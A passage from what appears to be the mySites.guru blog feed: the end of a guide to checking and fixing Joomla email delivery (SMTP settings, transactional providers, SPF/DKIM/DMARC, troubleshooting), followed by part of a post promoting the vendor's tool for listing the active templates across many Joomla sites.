&lt;p&gt;Older Joomla versions can be configured to email new users their password in plain text. Apart from being a terrible security practice, these emails are more likely to be flagged by spam filters because they contain sensitive-looking content. Disabling the plain text password setting fixes it; mySites.guru’s snapshot checks this too and can toggle it off with one click.&lt;/p&gt;
&lt;h2&gt;How to manually test your Joomla email&lt;/h2&gt;
&lt;p&gt;If you suspect email is broken, here’s how to confirm it without waiting for a real form submission.&lt;/p&gt;
&lt;h3&gt;Method 1: Joomla’s built-in mass mail&lt;/h3&gt;
&lt;p&gt;Go to &lt;strong&gt;Users &amp;gt; Mass Mail Users&lt;/strong&gt; in the Joomla admin. Select the Super Users group, type a test subject and body, and send. Check your inbox (and spam folder). If you get the email, your configuration works for sending to your own address at least.&lt;/p&gt;
&lt;p&gt;The limitation: this only tests sending to addresses you already know work. It doesn’t tell you whether emails to other domains are being delivered or rejected.&lt;/p&gt;
&lt;h3&gt;Method 2: Create a test contact form submission&lt;/h3&gt;
&lt;p&gt;Fill in your own site’s contact form using a different email address (a Gmail or Outlook.com address you control). Check whether you receive the form submission email. Check whether the submitter receives a copy (if that option is enabled).&lt;/p&gt;
&lt;p&gt;This exercises the full contact form pipeline, not just the raw mail function.&lt;/p&gt;
&lt;h3&gt;Method 3: Check the mail queue and server logs&lt;/h3&gt;
&lt;p&gt;If you have SSH access, run &lt;code&gt;mailq&lt;/code&gt; to check for stuck messages. Check &lt;code&gt;/var/log/mail.log&lt;/code&gt; or &lt;code&gt;/var/log/maillog&lt;/code&gt; for errors like &lt;code&gt;Connection refused&lt;/code&gt; (wrong port or firewall), &lt;code&gt;Authentication failed&lt;/code&gt; (wrong credentials), &lt;code&gt;Relay access denied&lt;/code&gt; (unauthorized From address), or &lt;code&gt;Certificate verification failed&lt;/code&gt; (SSL mismatch).&lt;/p&gt;
&lt;h3&gt;Method 4: Use an external SMTP testing tool&lt;/h3&gt;
&lt;p&gt;Tools like &lt;a href=&quot;https://smtper.net/&quot;&gt;SMTPer.net&lt;/a&gt; let you test SMTP connections from outside your server. Enter your SMTP host, port, credentials, and encryption method, and it will tell you exactly what’s happening at each step of the connection.&lt;/p&gt;
&lt;h2&gt;Why isn’t manual testing enough?&lt;/h2&gt;
&lt;p&gt;The problem with all of these manual tests is that they only tell you email works right now. They don’t tell you when it stops working tomorrow because your hosting provider changed something, your SSL certificate expired, or your SMTP service rotated your API key.&lt;/p&gt;
&lt;p&gt;Email configuration is one of those things that works perfectly until it doesn’t, and when it breaks, no one notices until the damage is done.&lt;/p&gt;
&lt;p&gt;You need automated, ongoing testing. That’s exactly what the &lt;a href=&quot;#how-does-mysitesguru-automate-email-verification&quot;&gt;mySites.guru audit&lt;/a&gt; handles for you.&lt;/p&gt;
&lt;h2&gt;How do you set up a dedicated transactional email service?&lt;/h2&gt;
&lt;p&gt;I strongly recommend using a dedicated transactional email provider instead of your hosting provider’s built-in SMTP. You get centralised activity logs showing every email your site sent, when it was delivered, and whether it bounced. The sending infrastructure has actively managed IP reputation, so your emails actually reach inboxes instead of spam folders. Bounce handling is built in, so bad addresses get flagged instead of failing.&lt;/p&gt;
&lt;p&gt;Your hosting provider’s mail server shares its IP with hundreds of other customers. If one of them sends spam, the IP gets blacklisted and your emails stop arriving too. Dedicated providers maintain clean IP pools and actively monitor reputation, which is something your $10/month shared host simply doesn’t do.&lt;/p&gt;
&lt;h3&gt;Postmark&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://postmarkapp.com&quot;&gt;Postmark&lt;/a&gt; is purpose-built for transactional email (not marketing email). It provides excellent deliverability, detailed delivery tracking, and bounce management. To use Postmark with Joomla, set SMTP Host to &lt;code&gt;smtp.postmarkapp.com&lt;/code&gt;, port &lt;code&gt;587&lt;/code&gt; with STARTTLS, and use your Postmark Server API Token as both the username and password. Your From Email must be a verified sender address in Postmark.&lt;/p&gt;
&lt;h3&gt;Amazon SES&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://aws.amazon.com/ses/&quot;&gt;Amazon SES&lt;/a&gt; is the cheapest option at scale. It requires more setup (IAM users, DKIM verification, moving out of the sandbox) but costs fractions of a penny per email.&lt;/p&gt;
&lt;h3&gt;Google Workspace / Microsoft 365&lt;/h3&gt;
&lt;p&gt;If you’re already paying for Google Workspace or Microsoft 365, you can technically use their SMTP servers, but I’d think twice about it. Google has &lt;a href=&quot;https://support.google.com/accounts/answer/6010255?hl=en&quot;&gt;deprecated “Less Secure Apps”&lt;/a&gt; (basic username/password authentication) and now &lt;a href=&quot;https://knowledge.workspace.google.com/admin/sync/transition-from-less-secure-apps-to-oauth&quot;&gt;requires OAuth 2.0&lt;/a&gt; for SMTP access. Neither Joomla nor WordPress supports OAuth for sending emails natively, so you’d need App Passwords (which Google may further restrict) or a third-party plugin that handles the OAuth flow. Microsoft 365 has similar restrictions in the pipeline.&lt;/p&gt;
&lt;p&gt;This is another reason I recommend a dedicated transactional email service like Postmark or Amazon SES. They use standard SMTP credentials that just work, without OAuth headaches or provider-imposed sending limits.&lt;/p&gt;
&lt;h2&gt;Which DNS records affect email delivery?&lt;/h2&gt;
&lt;p&gt;Even with perfect SMTP settings, your emails can still fail if your DNS records aren’t set up correctly. SPF, DKIM, and DMARC are a whole topic on their own, and getting them wrong can be worse than not having them at all. I’ll give a brief overview here, but if you’re not familiar with email authentication records, spend some time with the &lt;a href=&quot;https://dmarcly.com/blog/how-to-implement-dmarc-dkim-spf-to-stop-email-spoofing-phishing-the-definitive-guide&quot;&gt;DMARCLY guide&lt;/a&gt; before making changes.&lt;/p&gt;
&lt;p&gt;Sender Policy Framework (&lt;strong&gt;SPF&lt;/strong&gt;) is a DNS TXT record that lists which IP addresses and services are allowed to send email for your domain. If your SMTP provider isn’t included, receiving servers will reject or spam-flag your messages. &lt;strong&gt;DKIM&lt;/strong&gt; (DomainKeys Identified Mail) adds a cryptographic signature to outgoing emails that the receiving server verifies against a public key in your DNS. &lt;strong&gt;DMARC&lt;/strong&gt; ties SPF and DKIM together and tells receiving servers what to do when a message fails both checks.&lt;/p&gt;
&lt;p&gt;All three need to be correct and consistent with each other. A misconfigured SPF record can block legitimate email. A missing DKIM signature can tank your deliverability even if SPF passes. And a DMARC policy set to &lt;code&gt;p=reject&lt;/code&gt; before you’ve verified everything will drop real messages.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get DNS right before you change DMARC policy&lt;/p&gt;
  &lt;p&gt;Start with &lt;code&gt;p=none&lt;/code&gt; to monitor. Use &lt;a href=&quot;https://mxtoolbox.com/&quot;&gt;MXToolbox&lt;/a&gt; to verify your SPF and DKIM records are correct before moving to &lt;code&gt;p=quarantine&lt;/code&gt; or &lt;code&gt;p=reject&lt;/code&gt;. Allow up to 48 hours for DNS propagation after any changes.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;A complete Joomla email health checklist&lt;/h2&gt;
&lt;p&gt;Use this checklist to verify your Joomla site’s email configuration from top to bottom:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Mailer set to SMTP&lt;/strong&gt; - Not PHP Mail, not Sendmail&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SMTP host is correct&lt;/strong&gt; - Matches your email provider’s documented hostname&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SMTP port is 587&lt;/strong&gt; - With STARTTLS encryption (or 465 with SSL/TLS)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SMTP authentication enabled&lt;/strong&gt; - With dedicated credentials (not personal email)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;From Email matches your domain&lt;/strong&gt; - And that domain has SPF/DKIM records authorizing the SMTP server&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;From Name is your business name&lt;/strong&gt; - Not “Joomla! powered site”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Send Copy to Submitter is disabled&lt;/strong&gt; - To prevent &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/&quot;&gt;spam abuse&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plaintext passwords disabled&lt;/strong&gt; - Joomla should never email passwords in the clear&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SPF DNS record exists&lt;/strong&gt; - Includes your SMTP provider&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DKIM DNS record exists&lt;/strong&gt; - Provided by your SMTP service&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DMARC DNS record exists&lt;/strong&gt; - Set to at least &lt;code&gt;p=quarantine&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Test email actually arrives&lt;/strong&gt; - Delivery confirmed, beyond a config check that merely looks right&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you manage more than a handful of sites, running through this list manually on each one is impractical. That’s exactly what &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru’s audit and snapshot tools&lt;/a&gt; are built for: automated checks across all your connected sites, with &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice&lt;/a&gt; enforcement and trend tracking so you can see when something changes.&lt;/p&gt;
&lt;h2&gt;Troubleshooting: Joomla email was working and now it isn’t&lt;/h2&gt;
&lt;p&gt;Everything was fine last week and now nothing sends. Here’s a systematic approach to diagnosing it.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Check if the problem is Joomla or the SMTP server.&lt;/strong&gt; Try sending an email through your SMTP service’s web interface or API directly. If that works, the problem is in Joomla’s configuration. If that also fails, the problem is with the SMTP service itself.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check for recent changes.&lt;/strong&gt; Did you update Joomla? Update a plugin? Change hosting? Move servers? Any of these can alter mail settings or break an existing connection. Check your mySites.guru audit history; the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;quick snapshot&lt;/a&gt; shows what changed between snapshots.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify credentials.&lt;/strong&gt; Log into your SMTP service’s dashboard and confirm your credentials are still valid. Check for expiration notices, IP allowlist changes, or account suspensions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check server-level blocks.&lt;/strong&gt; Some hosting providers block outbound SMTP connections (especially on port 25, but sometimes on 465 and 587 too). Contact your host and ask if they’ve changed their firewall rules. A host can also cut PHP mail and outbound connections automatically after a malware false positive, which is exactly &lt;a href=&quot;https://mysites.guru/blog/ovh-flagged-our-plugin-as-malware/&quot;&gt;what OVH did when it wrongly flagged a legitimate plugin file&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check DNS records.&lt;/strong&gt; Use &lt;a href=&quot;https://mxtoolbox.com/&quot;&gt;MXToolbox&lt;/a&gt; to verify your SPF, DKIM, and DMARC records are still intact. Domain transfers, DNS provider changes, or accidental record deletions can break email authentication overnight.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check for blacklisting.&lt;/strong&gt; If your server’s IP address has been blacklisted due to spam (possibly from another site on the same shared hosting), your emails will be rejected by many receiving servers. Use &lt;a href=&quot;https://mxtoolbox.com/blacklists.aspx&quot;&gt;MXToolbox’s blacklist check&lt;/a&gt; to see if your IP appears on any major blocklists.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;How do you manage email configuration across multiple sites?&lt;/h2&gt;
&lt;p&gt;If you run an agency with dozens or hundreds of Joomla sites, keeping track of email configuration across all of them is a pain. Each site has its own SMTP settings, its own DNS records, its own potential failure points.&lt;/p&gt;
&lt;p&gt;mySites.guru was built for exactly this scenario. Every &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled audit&lt;/a&gt; runs the email delivery test across all your connected sites automatically, and the &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;site information dashboard&lt;/a&gt; shows the result alongside 140+ other checks. You can see at a glance which sites have working email and which don’t, track when a previously working configuration breaks, and share the results with clients through &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;automated white-label reports&lt;/a&gt;. &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;Unlimited sites&lt;/a&gt; on a single subscription, so there’s no per-site cost as your portfolio grows.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://guide.joomla.org/user-manual/configuration/configuration-smtp-mail-gmail&quot;&gt;Joomla SMTP Mail and Gmail Configuration&lt;/a&gt; - Official Joomla documentation on configuring SMTP mail settings&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dmarcly.com/blog/how-to-implement-dmarc-dkim-spf-to-stop-email-spoofing-phishing-the-definitive-guide&quot;&gt;How to Implement DMARC/DKIM/SPF&lt;/a&gt; - Comprehensive guide covering SPF, DKIM, and DMARC setup with step-by-step instructions&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://postmarkapp.com/guides/transactional-email-best-practices&quot;&gt;Transactional Email Best Practices&lt;/a&gt; - Postmark’s guide to authentication, design, and monitoring for transactional email&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.emailtooltester.com/en/blog/best-email-deliverability-tools/&quot;&gt;Best Email Deliverability Tools&lt;/a&gt; - Review of inbox placement testing and spam checking tools&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Get started&lt;/h2&gt;
&lt;p&gt;If you’re not sure whether your Joomla sites can actually send email right now, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt;. It takes less than a minute to connect your site, and you’ll get a clear pass/fail result for email delivery along with dozens of other security and configuration checks.&lt;/p&gt;
&lt;p&gt;You might be surprised what you find.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Email configuration checks are covered in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>email</category><category>smtp</category><category>security</category><category>joomla</category><category>wordpress</category><category>troubleshooting</category><enclosure url="https://mysites.guru/img/og/blog/how-to-verify-joomla-email-configuration-works.png" length="0" type="image/png"/></item><item><title>How to Compare Joomla Templates Across All Your Sites</title><link>https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/</guid><description>See which template every Joomla site uses, spot legacy or default templates, and export the full list as CSV from one dashboard.</description><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage a handful of Joomla sites&lt;/a&gt;, keeping track of which template each one uses is simple enough. You probably remember off the top of your head. But once you cross into double digits, or triple, that casual mental inventory falls apart fast.&lt;/p&gt;
&lt;p&gt;Which sites are still on Cassiopeia? Did you finish migrating that client from Protostar to a commercial template after the Joomla 4 upgrade? Is anyone still running an old version of the Astroid Framework that needs patching? These are the kinds of questions that eat up entire afternoons when you have to log into each site’s administrator panel to find the answer.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://manage.mysites.guru/en/tools/theme_and_template_list&quot;&gt;Active Theme and Template List&lt;/a&gt; tool in mySites.guru puts all of that information on a single page. Every connected site, its active template or theme, the version number, and the author - searchable, filterable, and exportable as CSV. No logging into admin panels. No spreadsheets maintained by hand. No guessing.&lt;/p&gt;
&lt;h2&gt;Why Are Joomla Templates Code, Not Decoration?&lt;/h2&gt;
&lt;p&gt;Most people think of templates as a cosmetic layer. Pick some colours, choose a layout, maybe adjust a few spacing values, and you are done. That thinking is wrong.&lt;/p&gt;
&lt;p&gt;A Joomla template is PHP, HTML, CSS, and JavaScript executing on your server on every single page load. It handles output rendering, menu logic, module positioning, responsive breakpoints, asset loading, and often bundles its own framework with thousands of lines of code. A complex commercial template can have more code than some extensions. It is not arranging prettiness - it &lt;strong&gt;is&lt;/strong&gt; code that happens to produce prettiness.&lt;/p&gt;
&lt;p&gt;And code needs maintenance. Code has bugs. Code has security vulnerabilities. Code has dependencies that go end-of-life. When you install a template and forget about it because “it’s just the design,” you are leaving unmaintained code running on a production server. You would never do that with a plugin or component, but people do it with templates constantly because the word “template” sounds harmless.&lt;/p&gt;
&lt;p&gt;If you manage 50 sites and each one has a template with its own framework, that is 50 installations of code that need version tracking, update management, and security monitoring. Treat templates the way you treat every other piece of software on the server: know what version is running, know when updates are available, and patch vulnerabilities immediately.&lt;/p&gt;
&lt;h2&gt;Why Joomla template visibility matters across a portfolio&lt;/h2&gt;
&lt;p&gt;Templates have the same risks as any other extension. A template with a security vulnerability is just as dangerous as a plugin with one - sometimes more so, because templates tend to get less attention during routine maintenance.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework vulnerability&lt;/a&gt; in early March 2026 was a perfect case study. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-21628/&quot;&gt;CVE-2026-21628&lt;/a&gt; scored a CVSS 10.0 - the maximum possible severity - and affected every version of the Astroid Framework before 3.3.11. Attackers used it to install backdoor plugins and inject hidden SEO spam into affected sites without ever needing to log in.&lt;/p&gt;
&lt;p&gt;The agencies that responded fastest were the ones that could answer one question immediately: “Which of my sites are running an Astroid-based template?” If you had to log into each site to check, you were already behind.&lt;/p&gt;
&lt;p&gt;That was not an isolated incident. Over the years, Joomla template frameworks and their bundled components have been hit by directory traversal flaws, SQL injection reports, and file upload bypasses. Some affected the template code directly; others targeted companion components or media managers that ship alongside the template. The common thread is always the same: if you do not know which sites are running the affected framework, you cannot respond fast enough.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Template management is about knowing what code is running across your entire portfolio so you can act fast when something goes wrong.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Beyond security, template visibility helps with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Standardisation&lt;/strong&gt; - Confirming all client sites have been migrated to your preferred template framework after a major CMS upgrade&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Documentation&lt;/strong&gt; - Producing an accurate inventory for internal records, client handovers, or compliance requirements&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Version tracking&lt;/strong&gt; - Spotting sites that are running outdated template versions when the developer has released updates&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audit readiness&lt;/strong&gt; - Having a single source of truth for what is deployed where, without relying on memory or manual records&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What Is the Active Theme and Template List Tool?&lt;/h2&gt;
&lt;p&gt;The template list tool lives in the Tools section of your mySites.guru dashboard. It pulls data from the latest &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; of every connected site and presents it in a single table.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The Active Theme and Template List tool in the mySites.guru dashboard, showing every connected site with its active template name, version, and author in a searchable table.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2400px) 2400px, 100vw&quot; width=&quot;2400&quot; height=&quot;1355&quot; src=&quot;https://mysites.guru/_astro/template-list-dashboard.CcHM4eeF_Z1EiLNv.webp&quot; srcset=&quot;https://mysites.guru/_astro/template-list-dashboard.CcHM4eeF_Z1bPzKM.webp 640w, https://mysites.guru/_astro/template-list-dashboard.CcHM4eeF_Zo8eV.webp 750w, https://mysites.guru/_astro/template-list-dashboard.CcHM4eeF_Z1BRFTI.webp 828w, https://mysites.guru/_astro/template-list-dashboard.CcHM4eeF_2wsK3r.webp 1080w, https://mysites.guru/_astro/template-list-dashboard.CcHM4eeF_q0g5w.webp 1280w, https://mysites.guru/_astro/template-list-dashboard.CcHM4eeF_W8Mp1.webp 1668w, https://mysites.guru/_astro/template-list-dashboard.CcHM4eeF_Zhlw45.webp 2048w, https://mysites.guru/_astro/template-list-dashboard.CcHM4eeF_Z1EiLNv.webp 2400w&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;What the table shows&lt;/h3&gt;
&lt;p&gt;Each row in the table represents one connected site. The columns are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Site&lt;/strong&gt; - The site name and URL, displayed as a clickable link to the site’s management page in mySites.guru&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Site Version&lt;/strong&gt; - The CMS version running on that site (e.g., Joomla 5.3.1, WordPress 6.8), displayed with a colour-coded badge&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Name&lt;/strong&gt; - The name of the currently active template (Joomla) or theme (WordPress)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Theme Version&lt;/strong&gt; - The version number of the active template or theme&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Author&lt;/strong&gt; - The developer or company that created the template&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This gives you a complete at-a-glance view of what every site in your portfolio is running - without clicking through to individual admin panels or expanding any dropdowns.&lt;/p&gt;
&lt;h3&gt;Searching and filtering&lt;/h3&gt;
&lt;p&gt;At the top of the table is a search box that filters the results in real time. You can search by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Site name or URL&lt;/strong&gt; - Find a specific client’s site quickly&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Template name&lt;/strong&gt; - Type “Astroid” to see every site using an Astroid-based template, or “Cassiopeia” to find sites still on the Joomla default&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP version&lt;/strong&gt; - Filter by PHP version to cross-reference template compatibility&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Platform&lt;/strong&gt; - Filter by Joomla or WordPress to see only one CMS type&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The search is an exact-match filter, so it narrows results as you type. If you need to find all sites running a particular template, you can type the template name and see the filtered list in under a second.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;The template data is updated every 12 hours by the automated snapshot, or whenever you manually trigger a snapshot from the Manage Site page. If you have just changed a template on a site, run a snapshot to update the data in mySites.guru before checking the list.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Exporting to CSV&lt;/h3&gt;
&lt;p&gt;Next to the search box is an &lt;strong&gt;Export CSV&lt;/strong&gt; button. One click and you get a downloadable CSV file containing:&lt;/p&gt;

































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Column&lt;/th&gt;&lt;th&gt;Description&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;site_url&lt;/code&gt;&lt;/td&gt;&lt;td&gt;The full URL of the site&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;site_version&lt;/code&gt;&lt;/td&gt;&lt;td&gt;The CMS version (e.g., 5.3.1)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;site_platform&lt;/code&gt;&lt;/td&gt;&lt;td&gt;The platform type (Joomla or WordPress)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;theme_name&lt;/code&gt;&lt;/td&gt;&lt;td&gt;The active template or theme name&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;theme_version&lt;/code&gt;&lt;/td&gt;&lt;td&gt;The template or theme version number&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;theme_author&lt;/code&gt;&lt;/td&gt;&lt;td&gt;The developer or company name&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;img alt=&quot;The exported CSV file showing site URLs, CMS versions, platform types, template names, versions, and authors.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 942px) 942px, 100vw&quot; width=&quot;942&quot; height=&quot;448&quot; src=&quot;https://mysites.guru/_astro/template-list-csv-export.BD6ZS4Bw_10QSbu.webp&quot; srcset=&quot;https://mysites.guru/_astro/template-list-csv-export.BD6ZS4Bw_hMYhQ.webp 640w, https://mysites.guru/_astro/template-list-csv-export.BD6ZS4Bw_Z1ip2hp.webp 750w, https://mysites.guru/_astro/template-list-csv-export.BD6ZS4Bw_14UVCp.webp 828w, https://mysites.guru/_astro/template-list-csv-export.BD6ZS4Bw_10QSbu.webp 942w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The CSV download completing in the browser.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2210px) 2210px, 100vw&quot; width=&quot;2210&quot; height=&quot;832&quot; src=&quot;https://mysites.guru/_astro/template-list-csv-download.B157xjfs_Zj91RY.webp&quot; srcset=&quot;https://mysites.guru/_astro/template-list-csv-download.B157xjfs_Z14grBe.webp 640w, https://mysites.guru/_astro/template-list-csv-download.B157xjfs_ZLNLxU.webp 750w, https://mysites.guru/_astro/template-list-csv-download.B157xjfs_63spe.webp 828w, https://mysites.guru/_astro/template-list-csv-download.B157xjfs_Z1jUHdm.webp 1080w, https://mysites.guru/_astro/template-list-csv-download.B157xjfs_DToct.webp 1280w, https://mysites.guru/_astro/template-list-csv-download.B157xjfs_2kUhjh.webp 1668w, https://mysites.guru/_astro/template-list-csv-download.B157xjfs_IkIOx.webp 2048w, https://mysites.guru/_astro/template-list-csv-download.B157xjfs_Zj91RY.webp 2210w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This CSV is ready to drop into a spreadsheet, import into a project management tool, or attach to a client report. For agencies that need to document their infrastructure for compliance or handover purposes, this single export replaces hours of manual data gathering.&lt;/p&gt;
&lt;p&gt;You can also incorporate this data into your &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;white-label client reports&lt;/a&gt; for a polished, professional deliverable.&lt;/p&gt;
&lt;h2&gt;How Do You Spot Sites on Default or Legacy Joomla Templates?&lt;/h2&gt;
&lt;p&gt;One of the most common template management tasks is identifying sites that are still running a default CMS template. In Joomla, that means Cassiopeia (Joomla 4 and 5) or Protostar (Joomla 3). These templates are functional but generic, and for most professional sites they should have been replaced with something purpose-built long ago.&lt;/p&gt;
&lt;p&gt;mySites.guru includes an automated &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; check specifically for this. The “Default Template Used” check flags any site where the active template is one of Joomla’s built-in defaults. It appears as an issue in the site’s snapshot results, with a clear recommendation to switch to a custom template.&lt;/p&gt;
&lt;p&gt;This check runs automatically every 12 hours alongside the other 140+ snapshot checks. You do not need to remember to look for it - the system surfaces it for you.&lt;/p&gt;
&lt;h3&gt;Why default templates are worth flagging&lt;/h3&gt;
&lt;p&gt;Default templates are not necessarily insecure, but they do create several practical problems:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Recognition&lt;/strong&gt; - Visitors and search engines associate default templates with unfinished or unmaintained sites. It does not inspire confidence.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature limitations&lt;/strong&gt; - Default templates lack the layout options, performance optimisations, and customisation hooks that commercial template frameworks provide.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Upgrade risk&lt;/strong&gt; - When Joomla releases a new major version, the default template often changes entirely. Sites still on the old default face a harder migration path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Client perception&lt;/strong&gt; - If you are managing sites for clients, a default template suggests the project was not completed properly. It reflects on your agency’s work.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The template list tool makes it trivial to scan for default templates across your entire portfolio. Type “Cassiopeia” in the search box, and every site still running it appears immediately. From there, you can prioritise which ones to migrate first.&lt;/p&gt;
&lt;h2&gt;How Do You Manage Joomla Templates During CMS Migrations?&lt;/h2&gt;
&lt;p&gt;Major CMS upgrades are when template management gets complicated. &lt;a href=&quot;https://joomla3security.com/&quot;&gt;Joomla 3&lt;/a&gt; to Joomla 4 required a complete template change for most sites - the old template system was fundamentally different. Joomla 4 to Joomla 5 was smoother, but template compatibility still needed verifying. And now with Joomla 6 on the horizon, the cycle is about to repeat.&lt;/p&gt;
&lt;p&gt;During these transitions, the template list tool becomes your progress tracker.&lt;/p&gt;
&lt;h3&gt;Before the migration&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Open the Active Theme and Template List and export the CSV - this is your baseline&lt;/li&gt;
&lt;li&gt;Filter by the old platform version to see which sites still need upgrading&lt;/li&gt;
&lt;li&gt;Note which templates are in use and check with each template developer for compatibility with the new CMS version&lt;/li&gt;
&lt;li&gt;Use the &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension management tool&lt;/a&gt; to check for template framework updates that add compatibility&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;During the migration&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;After upgrading each site, run a manual snapshot to refresh the template data&lt;/li&gt;
&lt;li&gt;Check the template list to confirm the new template is active and the version number is correct&lt;/li&gt;
&lt;li&gt;Use the search box to filter for the old template name - any remaining results are sites that still need attention&lt;/li&gt;
&lt;/ol&gt;
